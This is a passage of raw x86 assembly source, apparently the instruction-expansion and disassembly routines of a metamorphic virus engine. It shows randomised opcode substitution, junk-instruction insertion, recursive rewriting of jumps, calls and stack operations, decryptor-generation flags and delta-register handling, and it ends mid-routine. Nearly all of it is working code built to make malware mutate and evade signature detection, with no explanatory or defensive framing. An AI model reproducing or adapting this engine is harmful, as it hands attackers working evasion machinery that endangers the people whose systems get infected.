Xp_DecreaseRecurseLevel Xp_GenOPMemReg endp Xp_GenOPRegMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single @@Multiple: mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Single mov eax, [ebp+Xp_Operation] cmp eax, 40h jz @@Multiple_MOV @@Multiple_OP: call Random and eax, 1 jz @@Single call Xp_SaveOperation call Xp_GenPUSHMem call Xp_GetTempVar call Xp_GenPOPMem call Xp_GenOPRegMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Multiple_MOV: call Random and eax, 1 jz @@Multiple_OP call Xp_GenPUSHMem call Xp_GenPOPReg jmp Xp_DecreaseRecurseLevel @@Single: mov eax, [ebp+Xp_Operation] add eax, [ebp+Xp_8Bits] add eax, 2 mov [edi], eax call Xp_CopyMemoryReference mov eax, [ebp+Xp_Register] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenOPRegMem endp Xp_GenOPMemImm proc @@Start: call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 1 jz @@Single call Random and eax, 3 or eax, eax jnz @@Double @@Triple: mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Double call Xp_GenPUSHMem call Xp_SaveOperation call Xp_GetTempVar call Xp_GenPOPMem mov eax, [ebp+Xp_Operation] cmp eax, 38h jz @@Triple_CMP cmp eax, 48h jz @@Triple_TEST call Xp_GenOPMemImm call Xp_GenPUSHMem call Xp_RestoreOperation call Xp_GenPOPMem jmp Xp_DecreaseRecurseLevel @@Triple_CMP: mov ecx, 2Ch mov edx, 3Ch jmp @@Triple_CMPTEST_Common @@Triple_TEST: mov ecx, 24h mov edx, 4Ch @@Triple_CMPTEST_Common: call Random and eax, 1 jz @@Triple_CMPTEST_Next mov edx, ecx @@Triple_CMPTEST_Next: add edx, [ebp+Xp_8Bits] mov [edi], edx call Xp_CopyMemoryReference mov eax, [ebp+Xp_Immediate] mov [edi+7], eax add edi, 10h jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double: mov eax, [ebp+Xp_Operation] cmp eax, 40h jz @@Double_MOV or eax, eax jz @@Double_ADD cmp eax, 38h jz @@Single cmp eax, 48h jz @@Single @@Double_OP: mov eax, [ebp+Xp_FlagRegOrMem] push eax mov eax, 1 mov [ebp+Xp_FlagRegOrMem], eax call Xp_MakeComposedOPImm pop ebx mov [ebp+Xp_FlagRegOrMem], ebx or eax, eax jnz @@Single jmp Xp_DecreaseRecurseLevel @@Double_MOV: call Random and eax, 1 jz @@Double_OP mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Double_OP call Xp_GenPUSHImm call Xp_GenPOPMem jmp Xp_DecreaseRecurseLevel @@Double_ADD: call Random and eax, 1 jz @@Double_OP mov eax, [ebp+Xp_Immediate] cmp eax, 1 jz @@Double_ADD_NOTNEG cmp eax, -1 jnz @@Double_OP @@Double_ADD_NEGNOT: call Xp_GenNEGMem call Xp_GenNOTMem jmp Xp_DecreaseRecurseLevel @@Double_ADD_NOTNEG: call Xp_GenNOTMem call Xp_GenNEGMem jmp Xp_DecreaseRecurseLevel @@Single: mov eax, [ebp+Xp_Operation] cmp eax, 30h jz @@Single_XOR or eax, eax jz @@Single_ADD @@Single_OP: mov eax, [ebp+Xp_Operation] add eax, [ebp+Xp_8Bits] add eax, 4 mov [edi], eax call Xp_CopyMemoryReference mov eax, [ebp+Xp_Immediate] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_XOR: mov eax, [ebp+Xp_Immediate] cmp eax, -1 jnz @@Single_OP call Random and eax, 1 jz @@Single_OP call Xp_GenNOTMem jmp Xp_DecreaseRecurseLevel @@Single_ADD: call Random and eax, 1 jz @@Single_OP mov eax, [ebp+Xp_Immediate] cmp eax, 1 jz @@Single_INC cmp eax, -1 jnz @@Single_OP @@Single_DEC: mov ebx, 8 @@Single_INCDEC_Common: mov eax, [ebp+Xp_8Bits] add eax, 4Fh mov [edi], eax push ebx call Xp_CopyMemoryReference pop ebx mov [edi+7], ebx add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_INC: xor ebx, ebx jmp @@Single_INCDEC_Common Xp_GenOPMemImm endp Xp_GenPOPReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 2 or eax, eax jnz @@Single @@Multiple: call Xp_SaveOperation call Xp_GetTempVar call Xp_GenPOPMem mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPRegMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 58h jmp Xp_GenPUSHReg_Common Xp_GenPOPReg endp Xp_GenPOPMem proc call Xp_IncreaseRecurseLevel @@Single: mov eax, 59h jmp Xp_GenPUSHMem_Common Xp_GenPOPMem endp Xp_GenPUSHReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 2 or eax, eax jnz @@Single @@Multiple: call Xp_SaveOperation call Xp_GetTempVar mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPMemReg call Xp_GenPUSHMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 50h Xp_GenPUSHReg_Common: mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenPUSHReg endp Xp_GenPUSHMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single call Xp_SaveOperation call Xp_GenPUSHMem call Xp_GetTempVar call Xp_GenPOPMem call Xp_GenPUSHMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 51h Xp_GenPUSHMem_Common: mov [edi], eax call Xp_CopyMemoryReference add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenPUSHMem endp Xp_GenPUSHImm proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 1 jz @@Single @@Multiple: call Xp_SaveOperation call Xp_GetTempVar mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPMemImm call Xp_GenPUSHMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 68h mov [edi], eax mov eax, [ebp+Xp_Immediate] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenPUSHImm endp Xp_GenNEGMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single call Xp_GenNOTMem call Xp_SaveOperation mov eax, 1 jmp Xp_GenNOTMem_Common @@Single: mov eax, [ebp+Xp_8Bits] or eax, eax jz @@NEG32 mov eax, 0E7h jmp Xp_GenNOTMem_Common_Direct @@NEG32: mov eax, 0E5h jmp Xp_GenNOTMem_Common_Direct Xp_GenNEGMem endp Xp_GenNEGReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single call Xp_GenNOTReg call Xp_SaveOperation mov eax, 1 jmp Xp_GenNOTReg_Common @@Single: mov eax, [ebp+Xp_8Bits] or eax, eax jz @@NEG32 mov eax, 0E6h jmp Xp_GenNOTReg_Common_Direct @@NEG32: mov eax, 0E4h jmp Xp_GenNOTReg_Common_Direct Xp_GenNEGReg endp Xp_GenNOTReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 2 or eax, eax jnz @@Single call Xp_GenNEGReg call Xp_SaveOperation mov eax, -1 Xp_GenNOTReg_Common: mov [ebp+Xp_Immediate], eax xor eax, eax mov [ebp+Xp_Operation], eax call Xp_GenOPRegImm jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, [ebp+Xp_8Bits] or eax, eax jz @@NOT32 mov eax, 0E2h jmp @@NOT_ @@NOT32: mov eax, 0E0h @@NOT_: Xp_GenNOTReg_Common_Direct: mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenNOTReg endp Xp_GenNOTMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single call Xp_GenNEGMem call Xp_SaveOperation mov eax, -1 Xp_GenNOTMem_Common: mov [ebp+Xp_Immediate], eax xor eax, eax mov [ebp+Xp_Operation], eax call Xp_GenOPMemImm jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, [ebp+Xp_8Bits] or eax, eax jz @@NOT32 mov eax, 0E3h jmp @@NOT_ @@NOT32: mov eax, 0E1h @@NOT_: Xp_GenNOTMem_Common_Direct: mov [edi], eax call Xp_CopyMemoryReference add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenNOTMem endp Xp_GenCALLReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 2 or eax, eax jnz @@Single call Xp_SaveOperation call Xp_GetTempVar mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPMemReg call Xp_GenCALLMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 0ECh mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenCALLReg endp Xp_GenCALLMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 1 jnz @@Single @@Multiple: call Random and eax, 1 jz @@Multiple_Reg call Xp_SaveOperation call Xp_GenPUSHMem call Xp_GetTempVar call Xp_GenPOPMem call Xp_GenCALLMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Multiple_Reg: call Xp_SaveOperation @@Multiple_Reg_Again: call Random and eax, 3 cmp eax, 3 jz @@Multiple_Reg_Again mov [ebp+Xp_Register], eax mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPRegMem call Xp_GenCALLReg jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 0EAh Xp_GenCALLMem_Common: mov [edi], eax call Xp_CopyMemoryReference add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenCALLMem endp Xp_GenRET proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single call Xp_SaveOperation call Xp_GetTempVar call Xp_GenPOPMem call Xp_GenJMPMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 0FEh mov [edi], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenRET endp Xp_GenJMP proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single mov eax, [ebp+AddressOfLastInstruction] sub eax, 10h cmp eax, esi jz @@Single call Random and eax, 3 or eax, eax jnz @@Single @@Double_Other: call Random and eax, 3 or eax, eax jz @@Double_Other cmp eax, 1 jz @@Double_JccJcc cmp eax, 2 jz @@Double_CMPJcc mov edx, 73h mov ecx, 76h @@Double_JccJcc2: call Random or eax, eax jz @@Double_JccJcc2_Next mov edx, 75h @@Double_JccJcc2_Next: call Random and eax, 1 jz @@Double_JccJcc2_Next02 mov eax, edx mov edx, ecx mov ecx, eax @@Double_JccJcc2_Next02: call Xp_SaveOperation push ecx mov [ebp+Xp_Operation], edx call Xp_GenJcc_SingleJcc pop ecx mov [ebp+Xp_Operation], ecx call Xp_GenJcc_SingleJcc call Xp_RestoreOperation jmp @@InsertStopMark @@Double_CMPJcc: call Xp_SaveOperation mov eax, 38h mov [ebp+Xp_Operation], eax @@Double_CMPJcc_x: call Random and eax, 7 cmp eax, 4 jz @@Double_CMPJcc_x mov [ebp+Xp_Register], eax mov [ebp+Xp_SrcRegister], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPRegReg call Xp_GetSpecialJcc @@Double_CMPJcc_Common: xor eax, 1 mov [ebp+Xp_Operation], eax call Xp_GenJcc_SingleJcc call Xp_RestoreOperation jmp @@InsertStopMark @@Double_JccJcc: call Xp_SaveOperation call Random and eax, 0Fh add eax, 70h mov [ebp+Xp_Operation], eax push eax call Xp_GenJcc_SingleJcc pop eax jmp @@Double_CMPJcc_Common @@Single: mov eax, 0E9h mov [edi], eax mov eax, [ebp+Xp_Immediate] mov [edi+1], eax add edi, 10h Xp_EndJmp: call Random and eax, 2 or eax, eax jnz Xp_DecreaseRecurseLevel call Random and eax, 7 add eax, 1 mov ecx, eax @@LoopInsert: call Random mov al, 0FDh mov [edi], eax add edi, 10h sub ecx, 1 or ecx, ecx jnz @@LoopInsert jmp Xp_DecreaseRecurseLevel @@InsertStopMark: call Random and eax, 3 or eax, eax jz @@InsertStopMark cmp eax, 1 jz @@GenerateRET cmp eax, 2 jz @@GenerateJMPMem @@GenerateJMPReg: call Xp_SaveOperation call Random and eax, 7 mov [ebp+Xp_Register], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenJMPReg jmp Xp_RestoreOpAndDecreaseRecurseLevel @@GenerateJMPMem: call Xp_SaveOperation call Xp_GetTempVar call Xp_GenJMPMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@GenerateRET: call Xp_GenRET jmp Xp_DecreaseRecurseLevel Xp_GenJMP endp Xp_GenJMPReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 1 jz @@Single call Random and eax, 2 or eax, eax jz @@Double_1 @@Double_0: call Xp_SaveOperation call Xp_GetTempVar mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPMemReg call Xp_GenJMPMem call Xp_RestoreOperation jmp Xp_EndJmp @@Double_1: call Xp_GenPUSHReg call Xp_GenRET jmp Xp_EndJmp @@Single: mov eax, 0EDh mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax add edi, 10h jmp Xp_EndJmp Xp_GenJMPReg endp Xp_GenJMPMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single call Xp_SaveOperation call Xp_GenPUSHMem call Xp_GetTempVar call Xp_GenPOPMem call Xp_GenJMPMem call Xp_RestoreOperation jmp Xp_EndJmp @@Single: mov eax, 0EBh mov [edi], eax call Xp_CopyMemoryReference add edi, 10h jmp Xp_EndJmp Xp_GenJMPMem endp Xp_GenMOVZX proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 1 jz @@Single call Random and eax, 1 jz @@Double_1 @@Double_2: xor eax, eax mov [ebp+Xp_8Bits], eax mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPRegMem xor eax, eax mov [ebp+Xp_8Bits], eax mov eax, 20h mov [ebp+Xp_Operation], eax mov eax, 0FFh mov [ebp+Xp_Immediate], eax call Xp_GenOPRegImm jmp Xp_DecreaseRecurseLevel @@Double_1: mov eax, [ebp+Register8Bits] call Xpand_TranslateRegister mov ebx, [ebp+Xp_Register] cmp eax, ebx jnz @@Double_2 mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_Immediate], eax mov [ebp+Xp_8Bits], eax call Xp_GenOPRegImm mov eax, 80h mov [ebp+Xp_8Bits], eax call Xp_GenOPRegMem jmp Xp_DecreaseRecurseLevel @@Single: mov eax, 0F8h mov [edi], eax call Xp_CopyMemoryReference mov eax, [ebp+Xp_Register] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenMOVZX endp Xp_GenJcc proc call Xp_IncreaseRecurseLevel cmp eax, 2 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single @@Double: call Random and eax, 0Fh or eax, eax jnz @@Double2 mov eax, 1 mov [edi+7], eax call @@InternalSingle2 jmp Xp_DecreaseRecurseLevel @@Double2: mov eax, [ebp+Xp_Operation] cmp eax, 73h jz @@Double_JAE cmp eax, 75h jz @@Double_JNZ cmp eax, 76h jnz @@Single @@Double_JBE: mov ebx, 72h mov ecx, 74h mov edx, 76h jmp @@Double_GarbleAndSelect @@Double_JNZ: mov ebx, 72h mov ecx, 75h mov edx, 77h jmp @@Double_GarbleAndSelect @@Double_JAE: mov ebx, 73h mov ecx, 74h mov edx, 77h @@Double_GarbleAndSelect: call Xp_GarbleRegisters call Xp_SaveOperation push ecx mov [ebp+Xp_Operation], edx call @@InternalSingle pop ecx mov [ebp+Xp_Operation], ecx call @@InternalSingle jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: call @@InternalSingle jmp Xp_DecreaseRecurseLevel Xp_GenJcc_SingleJcc: @@InternalSingle: xor eax, eax mov [edi+7], eax @@InternalSingle2: mov eax, [ebp+Xp_Operation] mov [edi], eax mov eax, [ebp+Xp_Immediate] mov [edi+1], eax add edi, 10h ret Xp_GenJcc endp Xp_GarbleRegisters proc call Random and eax, 3 or eax, eax jz Xp_GarbleRegisters cmp eax, 1 jz @@Permutation0 cmp eax, 2 jz @@Permutation1 @@Permutation2: mov eax, ebx mov ebx, edx mov edx, eax jmp @@Permutation0 @@Permutation1: mov eax, ebx mov ebx, ecx mov ecx, eax @@Permutation0: call Random and eax, 1 jz @@Return @@Permutation0_0: mov eax, edx mov edx, ecx mov ecx, eax @@Return: ret Xp_GarbleRegisters endp Xp_MakeComposedOPImm proc call Xp_SaveOperation call Random mov ebx, eax mov edx, [ebp+Xp_Immediate] mov eax, [ebp+Xp_Operation] or eax, eax jz @@Double_OP_ADD cmp eax, 8 jz @@Double_OP_OR cmp eax, 20h jz @@Double_OP_AND cmp eax, 30h jz @@Double_OP_XOR cmp eax, 40h jnz @@Return_Error @@Double_OP_MOV: call Random and eax, 7 or eax, eax jz @@Double_OP_MOV_ADD cmp eax, 1 jz @@Double_OP_MOV_OR cmp eax, 2 jz @@Double_OP_MOV_AND cmp eax, 3 jz @@Double_OP_MOV_XOR cmp eax, 4 jnz @@Double_OP_MOV @@Double_OP_MOV_MOV: mov eax, [ebp+Xp_FlagRegOrMem] or eax, eax jz @@Double_OP_MOV_MOV_MakeReg call Xp_GenOPMemImm jmp @@Return_NoError @@Double_OP_MOV_MOV_MakeReg: call Xp_GenOPRegImm jmp @@Return_NoError @@Double_OP_MOV_ADD: sub edx, ebx xor ecx, ecx jmp @@Double_OP_MOV_OP @@Double_OP_MOV_OR: and ebx, edx call Random and eax, edx xor edx, ebx or edx, eax mov ecx, 8 jmp @@Double_OP_MOV_OP @@Double_OP_MOV_AND: call Random and eax, 1 jz @@Double_OP_MOV_AND_2 call Random not ebx and eax, ebx not ebx mov ecx, eax or ecx, edx or edx, ebx mov ebx, ecx mov ecx, 20h jmp @@Double_OP_MOV_OP @@Double_OP_MOV_AND_2: mov ecx, ebx not ecx or ecx, edx or edx, ebx mov ebx, ecx mov ecx, 20h jmp @@Double_OP_MOV_OP @@Double_OP_MOV_XOR: xor edx, ebx mov ecx, 30h @@Double_OP_MOV_OP: push ecx push edx mov eax, 40h mov [ebp+Xp_Operation], eax mov [ebp+Xp_Immediate], ebx mov eax, [ebp+Xp_FlagRegOrMem] or eax, eax jz @@Double_OP_MOV_OP_MakeReg call Xp_GenOPMemImm pop edx pop ecx mov [ebp+Xp_Operation], ecx mov [ebp+Xp_Immediate], edx call Xp_GenOPMemImm jmp @@Return_NoError @@Double_OP_MOV_OP_MakeReg: call Xp_GenOPRegImm pop edx pop ecx mov [ebp+Xp_Operation], ecx mov [ebp+Xp_Immediate], edx call Xp_GenOPRegImm jmp @@Return_NoError @@Double_OP_ADD: sub edx, ebx jmp @@Double_OP_OP @@Double_OP_OR: and ebx, edx mov ecx, edx xor edx, ebx call Random and ecx, eax or edx, ecx jmp @@Double_OP_OP @@Double_OP_AND: mov ecx, ebx or ebx, edx not ecx or edx, ecx jmp @@Double_OP_OP @@Double_OP_XOR: xor edx, ebx @@Double_OP_OP: push edx mov [ebp+Xp_Immediate], ebx mov eax, [ebp+Xp_FlagRegOrMem] or eax, eax jz @@Double_OP_OP_MakeReg call Xp_GenOPMemImm pop edx mov [ebp+Xp_Immediate], edx call Xp_GenOPMemImm jmp @@Return_NoError @@Double_OP_OP_MakeReg: call Xp_GenOPRegImm pop edx mov [ebp+Xp_Immediate], edx call Xp_GenOPRegImm @@Return_NoError: call Xp_RestoreOperation xor eax, eax ret @@Return_Error: call Xp_RestoreOperation mov eax, 1 ret Xp_MakeComposedOPImm endp Xp_MakeSET_WEIGHT proc call Xp_SaveOperation mov eax, [ebp+Xp_SrcRegister] mov [ebp+Xp_Register], eax call Xp_GenPUSHReg mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPRegImm call Xp_RestoreOperation mov eax, [ebp+Xp_Immediate] or eax, eax @@SetWeight: mov [ebp+Xp_Immediate], eax mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPRegImm call Xp_GenOPMemReg mov eax, [ebp+Xp_SrcRegister] mov [ebp+Xp_Register], eax call Xp_GenPOPReg ret Xp_MakeSET_WEIGHT endp Xp_GetSpecialJcc proc push ebx call Random mov ebx, eax and eax, 0Eh cmp eax, 8 jae @@Next shr ebx, 1 @@Next: shr ebx, 1 and ebx, 1 add eax, ebx add eax, 70h pop ebx ret Xp_GetSpecialJcc endp Xp_CopyMemoryReference proc mov eax, [ebp+Xp_Mem_Index1] mov [edi+1], eax mov eax, [ebp+Xp_Mem_Index2] mov [edi+2], eax mov eax, [ebp+Xp_Mem_Addition] mov [edi+3], eax ret Xp_CopyMemoryReference endp Xp_InsertGarbage proc call Random and eax, 7 or eax, eax jz @@MakeOneByter cmp eax, 1 jz @@MakeMOVRegReg cmp eax, 2 jz @@MakeANDs1 cmp eax, 3 jz @@MakeOR0 cmp eax, 4 jz @@MakeXOR0 cmp eax, 5 jz @@MakeADD0 cmp eax, 6 jz @@MakeCMPJcc jmp Xp_InsertGarbage @@MakeADD0: xor eax, eax mov [ebp+Xp_Operation], eax @@MakeOP0: xor eax, eax mov [ebp+Xp_Immediate], eax @@MakeOPx: xor eax, eax mov [edi+0Bh], eax mov [edi+0Ch], esi xor eax, eax mov [ebp+Xp_8Bits], eax @@MakeOPReg0: call Random and eax, 7 cmp eax, 4 jz @@MakeOPReg0 cmp eax, [ebp+TranslatedDeltaRegister] jz @@MakeOPReg0 mov [ebp+Xp_Register], eax call Xp_GenOPRegImm ret @@MakeOR0: mov eax, 8 mov [ebp+Xp_Operation], eax jmp @@MakeOP0 @@MakeXOR0: mov eax, 30h mov [ebp+Xp_Operation], eax jmp @@MakeOP0 @@MakeANDs1: mov eax, 20h mov [ebp+Xp_Operation], eax mov eax, -1 mov [ebp+Xp_Immediate], eax jmp @@MakeOPx @@MakeCMPJcc: call Random and eax, 7 cmp eax, 4 jz @@MakeADD0 cmp eax, [ebp+TranslatedDeltaRegister] jz @@MakeADD0 mov [ebp+Xp_Register], eax mov [ebp+Xp_SrcRegister], eax xor eax, eax mov [ebp+Xp_8Bits], eax mov [edi+0Bh], eax mov [edi+0Ch], esi mov eax, 38h mov [ebp+Xp_Operation], eax call Xp_GenOPRegReg call Xp_GetSpecialJcc mov [ebp+Xp_Operation], eax @@OtherLabel: call Random and eax, 01F8h cmp eax, [ebp+NumberOfLabels] jae @@OtherLabel add eax, [ebp+LabelTable] mov [ebp+Xp_Immediate], eax call Xp_GenJcc_SingleJcc ret @@MakeMOVRegReg: call Random and eax, 7 cmp eax, 4 jz @@MakeMOVRegReg cmp eax, [ebp+TranslatedDeltaRegister] jz @@MakeMOVRegReg mov [ebp+Xp_Register], eax mov [ebp+Xp_SrcRegister], eax xor eax, eax mov [ebp+Xp_8Bits], eax mov [edi+0Bh], eax mov [edi+0Ch], esi mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPRegReg ret @@MakeOneByter: call Random and eax, 1 jz @@OnlyNOP call Random and eax, 0100h add eax, 0F8FDh jmp @@OtherOneByter @@OnlyNOP: mov eax, 90FDh @@OtherOneByter: mov [edi], eax xor eax, eax mov [edi+0Bh], eax mov [edi+0Ch], esi add edi, 10h call Random and eax, 0Fh or eax, eax jz @@MakeOneByter ret Xp_InsertGarbage endp Xp_IncreaseRecurseLevel proc call Random and eax, 1 jnz @@Close mov eax, [ebp+Xp_RecurseLevel] add eax, 1 mov [ebp+Xp_RecurseLevel], eax @@Close: ret Xp_IncreaseRecurseLevel endp Xp_RestoreOpAndDecreaseRecurseLevel proc call Xp_RestoreOperation Xp_RestoreOpAndDecreaseRecurseLevel endp Xp_DecreaseRecurseLevel proc call Random and eax, 1 jnz @@Close mov eax, [ebp+Xp_RecurseLevel] sub eax, 1 mov [ebp+Xp_RecurseLevel], eax @@Close: ret Xp_DecreaseRecurseLevel endp Xp_GetTempVar proc push edx call Random mov edx, eax @@VariableCheck: and edx, 1FFF8h mov eax, [ebp+CreatingADecryptor] or eax, eax jz @@Normal1 and edx, 00FF8h cmp edx, 20h jb @@Add20 cmp edx, 0F00h jb @@Normal1 xor edx, edx @@Add20: add edx, 20h @@Normal1: add edx, [ebp+VarMarksTable] mov eax, [edx] or eax, eax jz @@VariableFound sub edx, [ebp+VarMarksTable] add edx, 8 jmp @@VariableCheck @@VariableFound: mov eax, 1 mov [edx], eax sub edx, [ebp+VarMarksTable] call Random and eax, 3 add edx, eax mov eax, [ebp+CreatingADecryptor] or eax, eax jz @@Normal2 add edx, [ebp+Decryptor_DATA_SECTION] mov [ebp+Xp_Mem_Addition], edx mov eax, 8 jmp @@Continue @@Normal2: add edx, [ebp+New_DATA_SECTION] mov [ebp+Xp_Mem_Addition], edx mov eax, [ebp+DeltaRegister] call Xpand_TranslateRegister @@Continue: mov [ebp+Xp_Mem_Index1], eax mov eax, 8 mov [ebp+Xp_Mem_Index2], eax pop edx ret Xp_GetTempVar endp Xp_SaveOperation proc pop ebx mov eax, [ebp+Xp_Operation] push eax mov eax, [ebp+Xp_Mem_Index1] push eax mov eax, [ebp+Xp_Mem_Index2] push eax mov eax, [ebp+Xp_Mem_Addition] push eax mov eax, [ebp+Xp_Register] push eax mov eax, [ebp+Xp_SrcRegister] push eax mov eax, [ebp+Xp_Immediate] push eax mov eax, [ebp+Xp_8Bits] push eax push ebx ret Xp_SaveOperation endp Xp_RestoreOperation proc pop ebx pop eax mov [ebp+Xp_8Bits], eax pop eax mov [ebp+Xp_Immediate], eax pop eax mov [ebp+Xp_SrcRegister], eax pop eax mov [ebp+Xp_Register], eax pop eax mov [ebp+Xp_Mem_Addition], eax pop eax mov [ebp+Xp_Mem_Index2], eax pop eax mov [ebp+Xp_Mem_Index1], eax pop eax mov [ebp+Xp_Operation], eax push ebx ret Xp_RestoreOperation endp ;-------------------------------------------------------------------------------------- DecodeMemoryConstruction proc mov eax, 00000808h mov [edi+1], eax xor eax, eax mov [edi+3], eax mov ebx, 1 mov eax, [edx] and eax, 7 cmp eax, 4 jz @@ThirdOpcodeUsed cmp eax, 5 jz @@DirectMemory @@SetBaseRegister: mov eax, [edx] and eax, 7 push edx mov edx, [edi+1] and edx, 0FFFFFF00h add eax, edx pop edx mov [edi+1], eax mov eax, [edx] and eax, 0C0h or eax, eax jz @@NoAddition cmp eax, 40h jz @@ByteAddition @@DwordAddition: add ebx, 4 mov eax, [edx+1] jmp @@SetAddition @@ByteAddition: add ebx, 1 mov eax, [edx+1] and eax, 0FFh cmp eax, 7Fh jbe @@SetAddition add eax, 0FFFFFF00h @@SetAddition: mov [edi+3], eax @@NoAddition: ret @@DirectMemory: mov eax, [edx] and eax, 0C0h or eax, eax jnz @@SetBaseRegister jmp @@DwordAddition @@ThirdOpcodeUsed: add ebx, 1 mov eax, [edx+1] and eax, 38h shr eax, 3 cmp eax, 4 jz @@IgnoreScalarRegister mov ecx, eax mov eax, [edx+1] and eax, 0C0h or eax, ecx push edx mov edx, [edi+2] and edx, 0FFFFFF00h and eax, 0FFh add eax, edx pop edx mov [edi+2], eax @@IgnoreScalarRegister: mov eax, [edx] and eax, 0C0h or eax, eax jz @@EBPMeansDwordAddition mov eax, [edx+1] and eax, 7 push edx mov edx, [edi+1] and edx, 0FFFFFF00h add eax, edx pop edx mov [edi+1], eax mov eax, [edx] and eax, 0C0h cmp eax, 40h jz @@ByteAddition2 @@DwordAddition2: add ebx, 4 mov eax, [edx+2] jmp @@SetAddition2 @@ByteAddition2: add ebx, 1 mov eax, [edx+2] and eax, 0FFh cmp eax, 7Fh jbe @@SetAddition2 add eax, 0FFFFFF00h @@SetAddition2: mov [edi+3], eax ret @@EBPMeansDwordAddition: mov eax, [edx+1] and eax, 7 cmp eax, 5 jz @@DwordAddition2 push edx mov edx, [edi+1] and edx, 0FFFFFF00h add eax, edx pop edx mov [edi+1], eax ret DecodeMemoryConstruction endp DisasmCode proc xor eax, eax mov [ebp+NumberOfLabels], eax mov [ebp+NumberOfLabelsPost], eax mov ecx, 80000h/4 mov edi, [ebp+PathMarksTable] xor eax, eax @@LoopInitializePathTable: call Random and eax, 0FCh mov [edi], eax add edi, 4 sub ecx, 1 or ecx, ecx jnz @@LoopInitializePathTable mov edi, [ebp+InstructionTable] @@LoopTrace: @@CheckCurrentLabel: mov eax, esi sub eax, [ebp+_CODE_SECTION] sub eax, ebp add eax, [ebp+PathMarksTable] mov eax, [eax] and eax, 0FFh cmp eax, 1 jnz @@CheckIfFutureLabelArrived mov edx, [ebp+InstructionTable] @@CheckCurrEIP_001: mov eax, [edx+0Ch] cmp eax, esi jz @@ItsTheCurrentEIP add edx, 10h jmp @@CheckCurrEIP_001 @@ItsTheCurrentEIP: mov [edi+0Ch], esi mov eax, [edi+0Bh] and eax, 0FFFFFF00h mov [edi+0Bh], eax mov eax, 